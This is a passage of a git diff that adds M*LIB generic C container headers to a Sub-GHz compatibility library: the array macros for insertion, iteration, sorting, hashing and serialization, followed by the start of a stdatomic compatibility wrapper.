+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(bool, name, _erase, array_t a, size_t i)                                \
+  {                                                                           \
+    M_ARRA4_CONTRACT(a);                                                      \
+    if (i >= a->size) return false;                                           \
+    M_F(name, _pop_at) M_R(NULL, a, i);                                       \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(void, name, _insert_v, array_t v, size_t i, size_t num)                 \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT_INDEX(i, v->size+1);                                             \
+    size_t size = v->size + num;                                              \
+    /* Test for overflow of variable size */                                  \
+    if (M_UNLIKELY_NOMEM (size <= v->size)) {                                 \
+      /* Unlikely case of nothing to do */                                    \
+      if (num == 0) return;                                                   \
+      M_MEMORY_FULL(type, v->size);                                           \
+    }                                                                         \
+    /* Test if alloc array is sufficient */                                   \
+    if (size > v->alloc) {                                                    \
+      size_t alloc = M_CALL_INC_ALLOC(oplist, size) ;                         \
+      if (M_UNLIKELY_NOMEM (alloc <= v->alloc)) {                             \
+        M_MEMORY_FULL(type, -(size_t)1);                                      \
+      }                                                                       \
+      type *ptr = M_CALL_REALLOC(oplist, type, v->ptr, v->alloc, alloc);      \
+      if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                  \
+        M_MEMORY_FULL(type, alloc);                                           \
+      }                                                                       \
+      v->ptr = ptr;                                                           \
+      v->alloc = alloc;                                                       \
+    }                                                                         \
+    memmove(&v->ptr[i+num], &v->ptr[i], sizeof(type)*(v->size - i) );         \
+    m_volatile size_t k;                                                      \
+    M_ON_EXCEPTION(memmove(&v->ptr[k], &v->ptr[i+num], sizeof(type)*(v->size - i) ), v->size += (k-i) ) { \
+      for(k = i ; k < i+num; k++)                                             \
+        M_CALL_INIT(oplist, v->ptr[k]);                                       \
+    }                                                                         \
+    v->size = size;                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+  , /* No INIT */)                                                            \
+                                                                              \
+  M_P(void, name, _remove_v, array_t v, size_t i, size_t j)                   \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_UNUSED_CONTEXT();                                                       \
+    M_ASSERT(i < j && v->ptr != NULL);                                        \
+    M_ASSERT_INDEX(i, v->size);                                               \
+    M_ASSERT_INDEX(j, v->size+1);                                             \
+    for(size_t k = i ; k < j; k++)                                            \
+      M_CALL_CLEAR(oplist, v->ptr[k]);                                        \
+    memmove(&v->ptr[i], &v->ptr[j], sizeof(type)*(v->size - j) );             \
+    v->size -= (j-i);                                                         \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(array_t v1, array_t v2)                                    \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v1);                                                     \
+    M_ARRA4_CONTRACT(v2);                                                     \
+    M_SWAP(size_t, v1->size, v2->size);                                       \
+    M_SWAP(size_t, v1->alloc, v2->alloc);                                     \
+    M_SWAP(type *, v1->ptr, v2->ptr);                                         \
+    M_ARRA4_CONTRACT(v1);                                                     \
+    M_ARRA4_CONTRACT(v2);                                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap_at)(array_t v, size_t i, size_t j)                          \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT(v->ptr != NULL);                                                 \
+    M_ASSERT_INDEX(i, v->size);                                               \
+    M_ASSERT_INDEX(j, v->size);                                               \
+    type tmp;                                                                 \
+    M_CALL_INIT_MOVE(oplist, tmp, v->ptr[i]);                                 \
+    M_CALL_INIT_MOVE(oplist, v->ptr[i], v->ptr[j]);                           \
+    M_CALL_INIT_MOVE(oplist, v->ptr[j], tmp);                                 \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _get)(const array_t v, size_t i)                                  \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (v->ptr != NULL);                                                \
+    M_ASSERT_INDEX(i, v->size);                                               \
+    return &v->ptr[i];                                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cget)(const array_t v, size_t i)                                 \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (v->ptr != NULL);                                                \
+    M_ASSERT_INDEX(i, v->size);                                               \
+    return M_CONST_CAST(type, &v->ptr[i]);                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _front)(const array_t v)                                          \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT_INDEX(0, v->size);                                               \
+    return M_F(name, _get)(v, 0);                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(it_t it, const array_t v)                                    \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (it != NULL);                                                    \
+    it->index = 0;                                                            \
+    it->array = v;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_last)(it_t it, const array_t v)                               \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (it != NULL);                                                    \
+    /* If size is 0, index is -1 as unsigned, so it is greater than end */    \
+    it->index = v->size - 1;                                                  \
+    it->array = v;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(it_t it, const array_t v)                                \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (it != NULL);                                                    \
+    it->index = v->size;                                                      \
+    it->array = v;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(it_t it, const it_t org)                                 \
+  {                                                                           \
+    M_ASSERT (it != NULL && org != NULL);                                     \
+    it->index = org->index;                                                   \
+    it->array = org->array;                                                   \
+    M_ARRA4_CONTRACT(it->array);                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(const it_t it)                                            \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->array != NULL);                                \
+    return it->index >= it->array->size;                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _last_p)(const it_t it)                                           \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->array != NULL);                                \
+    /* NOTE: Can not compute 'size-1' due to potential overflow               \
+       if size is 0 */                                                        \
+    return it->index + 1 >= it->array->size;                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const it_t it1,                                      \
+                         const it_t it2)                                      \
+  {                                                                           \
+    M_ASSERT(it1 != NULL && it2 != NULL);                                     \
+    return it1->array == it2->array && it1->index == it2->index;              \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(it_t it)                                                   \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->array != NULL);                                \
+    it->index ++;                                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _previous)(it_t it)                                               \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->array != NULL);                                \
+    /* NOTE: In the case index=0, it will be set to (unsigned) -1             \
+       ==> it will be greater than size ==> end_p will return true */         \
+    it->index --;                                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _ref)(const it_t it)                                              \
+  {                                                                           \
+    M_ASSERT(it != NULL);                                                     \
+    return M_F(name, _get)(it->array, it->index);                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cref)(const it_t it)                                             \
+  {                                                                           \
+    M_ASSERT(it != NULL);                                                     \
+    return M_F(name, _cget)(it->array, it->index);                            \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT_SET, oplist)(                                              \
+  M_P(void, name, _insert, array_t a, it_t it, type const x)                  \
+  {                                                                           \
+    M_ASSERT (it != NULL && a == it->array);                                  \
+    size_t index = M_F(name, _end_p)(it) ? 0 : it->index+1;                   \
+    M_F(name, _push_at)M_R(a, index, x);                                      \
+    it->index = index;                                                        \
+  }                                                                           \
+  , /* End of INIT_SET */ )                                                   \
+                                                                              \
+  M_IF_AT_LEAST_METHOD(SET, INIT_MOVE, oplist)(                               \
+  M_P(void, name, _remove, array_t a, it_t it)                                \
+  {                                                                           \
+    M_ASSERT (it != NULL && a == it->array);                                  \
+    M_F(name, _pop_at) M_R(NULL, a, it->index);                               \
+    /* NOTE: it->index will naturally point to the next element */            \
+  }                                                                           \
+  , /* End of SET | INIT_SET */ )                                             \
+                                                                              \
+   M_INLINE void M_F(name, _special_sort)(array_t l,                          \
+              int (*func_type) (type const *a, type const *b))                \
+  {                                                                           \
+    /* Using qsort is more compact but slower than a full templated           \
+       version which can be twice faster */                                   \
+    int (*func_void)(const void*, const void*);                               \
+    /* There is no way (?) to avoid the cast */                               \
+    func_void = (int (*)(const void*, const void*))func_type;                 \
+    qsort (l->ptr, l->size, sizeof(type), func_void);                         \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD3(SWAP, SET, CMP, oplist)(                                       \
+  M_INLINE void                                                               \
+  M_C3(m_arra4_,name,_stable_sort_noalloc)(type tab[], size_t size, type tmp[]) \
+  {                                                                           \
+    size_t th = 4;                                                            \
+    M_IF_DEBUG(type *org_tab = tab;)                                          \
+    M_ASSERT (size > 1);                                                      \
+    /* Let's select the threshold of the pass 1 to be sure                    \
+       the final result is in tab.*/                                          \
+    if (m_core_clz64(size-1) & 1)                                             \
+      th += th;                                                               \
+                                                                              \
+    /* Pass 1: Partial insertion sort (stable) up to 'th' size */             \
+    for(size_t k = 0 ; k < size; ) {                                          \
+      size_t max = size - k < 2*th ? size - k : th;                           \
+      for(size_t i = 1; i < max; i++) {                                       \
+        size_t j = i;                                                         \
+        while (j > 0 && M_CALL_CMP(oplist, tab[k+j-1], tab[k+j]) > 0) {       \
+          M_CALL_SWAP(oplist, tab[k+j-1], tab[k+j]);                          \
+          j = j - 1;                                                          \
+        }                                                                     \
+      }                                                                       \
+      k += max;                                                               \
+    }                                                                         \
+                                                                              \
+    /* N Pass of merge sort (stable) */                                       \
+    while (th < size) {                                                       \
+      type *dest = tmp;                                                       \
+      /* Pass n: Merge 2 sections of 'th' elements */                         \
+      for(size_t k = 0 ; k < size; ) {                                        \
+        type *el1 = &tab[k];                                                  \
+        type *el2 = &tab[k+th];                                               \
+        size_t n1 = th;                                                       \
+        size_t n2 = size-k <= 3*th ? size-k-th : th;                          \
+        M_ASSERT (size-k > th);                                               \
+        M_ASSERT (0 < n1 && n1 <= size);                                      \
+        M_ASSERT (0 < n2 && n2 <= size);                                      \
+        k += n1+n2;                                                           \
+        for (;;) {                                                            \
+          if (M_CALL_CMP(oplist, *el1, *el2) <= 0) {                          \
+            M_CALL_INIT_MOVE(oplist, *dest, *el1);                            \
+            dest++;                                                           \
+            el1++;                                                            \
+            if (M_UNLIKELY(-- n1 == 0)) {                                     \
+              M_ASSERT (n2 > 0);                                              \
+              memcpy (dest, el2, n2 * sizeof (type));                         \
+              dest += n2;                                                     \
+              break;                                                          \
+            }                                                                 \
+          } else {                                                            \
+            M_CALL_INIT_MOVE(oplist, *dest, *el2);                            \
+            dest++;                                                           \
+            el2++;                                                            \
+            if (M_UNLIKELY(-- n2 == 0)) {                                     \
+              M_ASSERT (n1 > 0);                                              \
+              memcpy (dest, el1, n1 * sizeof (type));                         \
+              dest += n1;                                                     \
+              break;                                                          \
+            }                                                                 \
+          }                                                                   \
+        }                                                                     \
+      }                                                                       \
+      /* Swap t & tab */                                                      \
+      M_SWAP(type *, tab, tmp);                                               \
+      /* Increase th for next pass */                                         \
+      th += th;                                                               \
+    }                                                                         \
+    M_ASSERT (org_tab == tab);                                                \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _special_stable_sort, array_t l)                            \
+  {                                                                           \
+    if (M_UNLIKELY (l->size < 2))                                             \
+      return;                                                                 \
+    /* NOTE: if size is <= 4, no need to perform an allocation */             \
+    type *temp = M_CALL_REALLOC(oplist, type, NULL, 0, l->size);              \
+    if (M_UNLIKELY_NOMEM (temp == NULL)) {                                    \
+      M_MEMORY_FULL(type, l->size);                                           \
+    }                                                                         \
+    M_C3(m_arra4_,name,_stable_sort_noalloc)(l->ptr, l->size, temp);          \
+    M_CALL_FREE(oplist, type, temp, l->size);                                 \
+  }                                                                           \
+  ,) /* IF SWAP & SET & CMP operators */                                      \
+                                                                              \
+  M_IF_METHOD(EQUAL, oplist)(                                                 \
+  M_INLINE bool                                                               \
+  M_F(name, _equal_p)(const array_t array1,                                   \
+                      const array_t array2)                                   \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array1);                                                 \
+    M_ARRA4_CONTRACT(array2);                                                 \
+    if (array1->size != array2->size) return false;                           \
+    size_t i;                                                                 \
+    for(i = 0; i < array1->size; i++) {                                       \
+      type const *item1 = M_F(name, _cget)(array1, i);                        \
+      type const *item2 = M_F(name, _cget)(array2, i);                        \
+      bool b = M_CALL_EQUAL(oplist, *item1, *item2);                          \
+      if (!b) return false;                                                   \
+    }                                                                         \
+    return true;                                                              \
+  }                                                                           \
+  , /* no EQUAL */ )                                                          \
+                                                                              \
+  M_IF_METHOD(HASH, oplist)(                                                  \
+  M_INLINE size_t                                                             \
+  M_F(name, _hash)(const array_t array)                                       \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    M_HASH_DECL(hash);                                                        \
+    for(size_t i = 0 ; i < array->size; i++) {                                \
+      size_t hi = M_CALL_HASH(oplist, array->ptr[i]);                         \
+      M_HASH_UP(hash, hi);                                                    \
+    }                                                                         \
+    return M_HASH_FINAL (hash);                                               \
+  }                                                                           \
+  , /* no HASH */ )                                                           \
+                                                                              \
+  M_P(void, name, _splice, array_t a1, array_t a2)                            \
+  {                                                                           \
+    M_ARRA4_CONTRACT(a1);                                                     \
+    M_ARRA4_CONTRACT(a2);                                                     \
+    M_ASSERT(a1 != a2);                                                       \
+    if (M_LIKELY (a2->size > 0)) {                                            \
+      size_t newSize = a1->size + a2->size;                                   \
+      /* To overflow newSize, we need to a1 and a2 a little bit above         \
+         SIZE_MAX/2, which is not possible in the classic memory model as we  \
+         should have exhausted all memory before reaching such sizes. */      \
+      M_ASSERT_INDEX(a1->size, newSize);                                      \
+      if (newSize > a1->alloc) {                                              \
+        type *ptr = M_CALL_REALLOC(oplist, type, a1->ptr, a1->alloc, newSize); \
+        if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                \
+          M_MEMORY_FULL(type, newSize);                                       \
+        }                                                                     \
+        a1->ptr = ptr;                                                        \
+        a1->alloc = newSize;                                                  \
+      }                                                                       \
+      M_ASSERT(a1->ptr != NULL);                                              \
+      M_ASSERT(a2->ptr != NULL);                                              \
+      memcpy(&a1->ptr[a1->size], &a2->ptr[0], a2->size * sizeof (type));      \
+      /* a2 is now empty */                                                   \
+      a2->size = 0;                                                           \
+      /* a1 has been expanded with the items of a2 */                         \
+      a1->size = newSize;                                                     \
+    }                                                                         \
+  }                                                                           \
+
+/* Define the I/O functions */
+#define M_ARRA4_DEF_IO(name, type, oplist, array_t, it_t)                     \
+                                                                              \
+  M_IF_METHOD(GET_STR, oplist)(                                               \
+  M_P(void, name, _get_str, m_string_t str, array_t const array, bool append) \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    (append ? m_string_cat_cstr : m_string_set_cstr) M_R(str, "[");           \
+    it_t it;                                                                  \
+    for (M_F(name, _it)(it, array) ;                                          \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      type const *item = M_F(name, _cref)(it);                                \
+      M_CALL_GET_STR(oplist, str, *item, true);                               \
+      if (!M_F(name, _last_p)(it))                                            \
+        m_string_push_back M_R(str, M_GET_SEPARATOR oplist);                  \
+    }                                                                         \
+    m_string_push_back M_R(str, ']');                                         \
+  }                                                                           \
+  , /* no GET_STR */ )                                                        \
+                                                                              \
+  M_IF_METHOD(OUT_STR, oplist)(                                               \
+  M_INLINE void                                                               \
+  M_F(name, _out_str)(FILE *file, const array_t array)                        \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    M_ASSERT (file != NULL);                                                  \
+    fputc ('[', file);                                                        \
+    for (size_t i = 0; i < array->size; i++) {                                \
+      type const *item = M_F(name, _cget)(array, i);                          \
+      M_CALL_OUT_STR(oplist, file, *item);                                    \
+      if (i != array->size-1)                                                 \
+        fputc (M_GET_SEPARATOR oplist, file);                                 \
+    }                                                                         \
+    fputc (']', file);                                                        \
+  }                                                                           \
+  , /* no OUT_STR */ )                                                        \
+                                                                              \
+  M_IF_METHOD2(PARSE_STR, INIT, oplist)(                                      \
+  M_P(bool, name, _parse_str, array_t array, const char str[], const char**endp) \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    M_ASSERT (str != NULL);                                                   \
+    M_F(name,_reset)M_R(array);                                               \
+    int c = *str++;                                                           \
+    if (M_UNLIKELY (c != '[')) { c = 0; goto exit; }                          \
+    c = m_core_str_nospace(&str);                                             \
+    if (M_UNLIKELY (c == ']')) { goto exit; }                                 \
+    if (M_UNLIKELY (c == 0)) { goto exit; }                                   \
+    str--;                                                                    \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        bool b = M_CALL_PARSE_STR(oplist, item, str, &str);                   \
+        c = m_core_str_nospace(&str);                                         \
+        if (b == false || c == 0) { c = 0; break; }                           \
+        M_F(name, _push_back) M_R(array, item);                               \
+      } while (c == M_GET_SEPARATOR oplist);                                  \
+    }                                                                         \
+  exit:                                                                       \
+    M_ARRA4_CONTRACT(array);                                                  \
+    if (endp) *endp = str;                                                    \
+    return c == ']';                                                          \
+  }                                                                           \
+  , /* no PARSE_STR & INIT */ )                                               \
+                                                                              \
+  M_IF_METHOD2(IN_STR, INIT, oplist)(                                         \
+  M_P(bool, name, _in_str, array_t array, FILE *file)                         \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    M_ASSERT (file != NULL);                                                  \
+    M_F(name,_reset)M_R(array);                                               \
+    int c = fgetc(file);                                                      \
+    if (M_UNLIKELY (c != '[')) return false;                                  \
+    c = fgetc(file);                                                          \
+    if (M_UNLIKELY (c == ']')) return true;                                   \
+    if (M_UNLIKELY (c == EOF)) return false;                                  \
+    ungetc(c, file);                                                          \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        bool b = M_CALL_IN_STR(oplist, item, file);                           \
+        c = m_core_fgetc_nospace(file);                                       \
+        if (b == false || c == EOF) { c = 0; break; }                         \
+        M_F(name, _push_back) M_R(array, item);                               \
+      } while (c == M_GET_SEPARATOR oplist);                                  \
+    }                                                                         \
+    M_ARRA4_CONTRACT(array);                                                  \
+    return c == ']';                                                          \
+  }                                                                           \
+  , /* no IN_STR & INIT */ )                                                  \
+                                                                              \
+  M_IF_METHOD(OUT_SERIAL, oplist)(                                            \
+  M_P(m_serial_return_code_t, name, _out_serial, m_serial_write_t f, const array_t array) \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_return_code_t ret;                                               \
+    m_serial_local_t local;                                                   \
+    ret = f->m_interface->write_array_start M_R(local, f, array->size);       \
+    for (size_t i = 0; i < array->size; i++) {                                \
+      type const *item = M_F(name, _cget)(array, i);                          \
+      if (i != 0) {                                                           \
+        ret |= f->m_interface->write_array_next M_R(local, f);                \
+      }                                                                       \
+      ret |= M_CALL_OUT_SERIAL(oplist, f, *item);                             \
+    }                                                                         \
+    ret |= f->m_interface->write_array_end M_R(local, f);                     \
+    return ret & M_SERIAL_FAIL;                                               \
+  }                                                                           \
+  , /* no OUT_SERIAL */ )                                                     \
+                                                                              \
+  M_IF_METHOD2(IN_SERIAL, INIT, oplist)(                                      \
+  M_P(m_serial_return_code_t, name, _in_serial, array_t array, m_serial_read_t f) \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_return_code_t ret;                                               \
+    m_serial_local_t local;                                                   \
+    size_t estimated_size = 0;                                                \
+    M_F(name,_reset)M_R(array);                                               \
+    ret = f->m_interface->read_array_start(local, f, &estimated_size);        \
+    if (M_UNLIKELY (ret != M_SERIAL_OK_CONTINUE)) {                           \
+       return ret;                                                            \
+    }                                                                         \
+    M_F(name, _reserve) M_R(array, estimated_size);                           \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        ret = M_CALL_IN_SERIAL(oplist, item, f);                              \
+        if (ret != M_SERIAL_OK_DONE) { break; }                               \
+        M_F(name, _push_back)M_R(array, item);                                \
+        ret = f->m_interface->read_array_next(local, f);                      \
+      } while (ret == M_SERIAL_OK_CONTINUE);                                  \
+    }                                                                         \
+    M_ARRA4_CONTRACT(array);                                                  \
+    return ret;                                                               \
+  }                                                                           \
+  , /* no IN_SERIAL & INIT */ )                                               \
+
+/* Definition of the emplace_back function for arrays */
+#define M_ARRA4_EMPLACE_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(void, name, function_name, name_t v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    M_F(name, _subtype_ct) *data = M_F(name, _push_back_raw) M_R(v);          \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return;                                                                 \
+    M_IF_EXCEPTION( v->size --);                                              \
+    M_EMPLACE_CALL_FUNC(a, init_func, oplist, *data, exp_emplace_type);       \
+    M_IF_EXCEPTION( v->size ++);                                              \
+  }                                                                           \
+
+/********************************** INTERNAL *********************************/
+
+#if M_USE_SMALL_NAME
+#define ARRAY_DEF M_ARRAY_DEF
+#define ARRAY_DEF_AS M_ARRAY_DEF_AS
+#define ARRAY_OPLIST M_ARRAY_OPLIST
+#define ARRAY_INIT_VALUE M_ARRAY_INIT_VALUE
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-atomic.h b/lib/subghz_unleashed_compat/include/mlib/m-atomic.h
new file mode 100644
index 000000000..0e1fd0ffc
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-atomic.h
@@ -0,0 +1,307 @@
+/*
+ * M*LIB - Thin stdatomic wrapper for C++ compatibility
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_ATOMIC_H
+#define MSTARLIB_ATOMIC_H
+
+/* NOTE: Due to the C++ not having recognized stdatomic.h officially,
+   it is hard to use this header directly with a C++ compiler.
+   See https://gcc.gnu.org/bugzilla/show_bug.cgi?id=60932
+   clang++ has no issue with this header but if someone includes 
+   atomic from C++, there is incompatibility between atomic & stdatomic.
+   Moreover some compilers lack a working stdatomic header.
+   GCC 4.9 doesn't have a working implementation of 'atomic'.
+   APPLE Clang defines __GNUC__ to be only 4 despite having full support
+   for atomic.
+*/
+#if defined(__cplusplus) && __cplusplus >= 201103L                            \
+  && !(defined(__GNUC__) && __GNUC__ < 5 && !defined(__APPLE__))
+
+/* NOTE: This is what the stdatomic.h header shall do in C++ mode. */
+#include <atomic>
+
+using std::memory_order;
+
+using std::atomic_bool;
+using std::atomic_char;
+using std::atomic_short;
+using std::atomic_int;
+using std::atomic_long;
+using std::atomic_llong;
+using std::atomic_uchar;
+using std::atomic_schar;
+using std::atomic_ushort;
+using std::atomic_uint;
+using std::atomic_ulong;
+using std::atomic_ullong;
+using std::atomic_intptr_t;
+using std::atomic_uintptr_t;
+using std::atomic_size_t;
+using std::atomic_ptrdiff_t;
+using std::atomic_intmax_t;
+using std::atomic_uintmax_t;
+using std::atomic_flag;
+
+using std::kill_dependency;
+using std::atomic_thread_fence;
+using std::atomic_signal_fence;
+using std::atomic_is_lock_free;
+using std::atomic_store_explicit;
+using std::atomic_store;
+using std::atomic_load_explicit;
+using std::atomic_load;
+using std::atomic_exchange_explicit;
+using std::atomic_exchange;
+using std::atomic_compare_exchange_strong_explicit;
+using std::atomic_compare_exchange_strong;
+using std::atomic_compare_exchange_weak_explicit;
+using std::atomic_compare_exchange_weak;
+using std::atomic_fetch_add;
+using std::atomic_fetch_add_explicit;
+using std::atomic_fetch_sub;
+using std::atomic_fetch_sub_explicit;
+using std::atomic_fetch_or;
+using std::atomic_fetch_or_explicit;
+using std::atomic_fetch_xor;
+using std::atomic_fetch_xor_explicit;
+using std::atomic_fetch_and;
+using std::atomic_fetch_and_explicit;
+using std::atomic_flag_test_and_set;
+using std::atomic_flag_test_and_set_explicit;
+using std::atomic_flag_clear;
+using std::atomic_flag_clear_explicit;
+
+using std::memory_order_relaxed;
+using std::memory_order_consume;
+using std::memory_order_acquire;
+using std::memory_order_release;
+using std::memory_order_acq_rel;
+using std::memory_order_seq_cst;
+
+/* CLANG provides a warning on defining _Atomic as it sees it 
+ * as a reserved system macro. It is true. However, the goal of this
+ * header is to provide stdatomic semantic, so it needs to define
+ * _Atomic macro.
+ *
+ * So, this warning has to be ignored.
+ *
+ * It cannot use M_BEGIN_PROTECTED_CODE as this header is normally
+ * independent of m-core.h
+ */
+#if defined(__clang__) && __clang_major__ >= 4
+  _Pragma("clang diagnostic push")
+  _Pragma("clang diagnostic ignored \"-Wreserved-id-macro\"")
+#endif
+
+#define _Atomic(T) std::atomic< T >
+
+#if defined(__clang__) && __clang_major__ >= 4
+  _Pragma("clang diagnostic pop")
+#endif
+
+/* C11 with working stdatomic
+   STDATOMIC doesn't work with C++ except for clang but is incompatible with atomic.
+   GCC < 4.9 doesn't provide a compliant stdatomic.h
+   CLANG 3.5 has issues with GCC's stdatomic.h and doesn't provide its own
+   ICC < 18 doesn't provide a compliant stdatomic.h
+*/
+#elif (defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L && !defined(__STDC_NO_ATOMICS__) ) \
+  || (defined(__GNUC__) && !defined(__clang__) && !defined(__INTEL_COMPILER) && !defined(__cplusplus) && (__GNUC__*100 + __GNUC_MINOR__) >= 409) \
+  || (defined(__clang__) && (__clang_major__ * 100 + __clang_minor__) >= 308) \
+  || (defined(__INTEL_COMPILER) && __INTEL_COMPILER >= 1800)
+
+#include <stdatomic.h>
+
+/* MSYS2 has a conflict between cdefs.h which defines a _Atomic macro (if not C11)
+   not compatible with the used stdatomic.h (from GCC).
+   Provide a configurable mechanism to undef it with auto-detection of msys2 / gcc */
+#ifndef M_USE_UNDEF_ATOMIC
+# if defined(__MSYS__) && defined(__GNUC__) && (!defined(__STDC_VERSION__) || __STDC_VERSION__ < 201112L)
+#  define M_USE_UNDEF_ATOMIC 1
+# endif
+#endif
+#if defined(M_USE_UNDEF_ATOMIC) && M_USE_UNDEF_ATOMIC == 1
+# undef _Atomic
+#endif
+
+/* Non working C++ atomic header, nor working stdatomic.h found.
+   Write a compatible layer using mutex as slim as possible.
+   Supports only up to 64-bits atomic (sizeof long long to be more precise).
+   The locks are never properly cleared and remain active until
+   the end of the program.
+   We also assume that the call to the atomic_* interface is "macro clean".
+*/
+#else
+
+#include "m-thread.h"
+#include "m-core.h"
+
+M_BEGIN_PROTECTED_CODE
+
+/* _Atomic qualifier for a type (emulation).
+  The structure is quite large:
+   _val     : value of the atomic type,
+   _zero    : zero value of the atomic type (constant),
+   _previous: temporary value used within the mutex lock,
+   _lock    : the mutex lock.
+  Support up to sizeof (long long) type.
+ */
+#define        _Atomic(T)                                                     \
+  struct {                                                                    \
+    T volatile _val;                                                          \
+    T          _zero;                                                         \
+    T          _previous;                                                     \
+    m_mutex_t  _lock;                                                         \
+  }
+
+/* Define the supported memory order.
+   Even if memory order is defined, only the strongest constraint is used */
+typedef enum {
+  memory_order_relaxed,
+  memory_order_consume,
+  memory_order_acquire,
+  memory_order_release,
+  memory_order_acq_rel,
+  memory_order_seq_cst
+} memory_order;
+
+typedef _Atomic(bool)               atomic_bool;
+typedef _Atomic(char)               atomic_char;
+typedef _Atomic(short)              atomic_short;
+typedef _Atomic(int)                atomic_int;
+typedef _Atomic(long)               atomic_long;
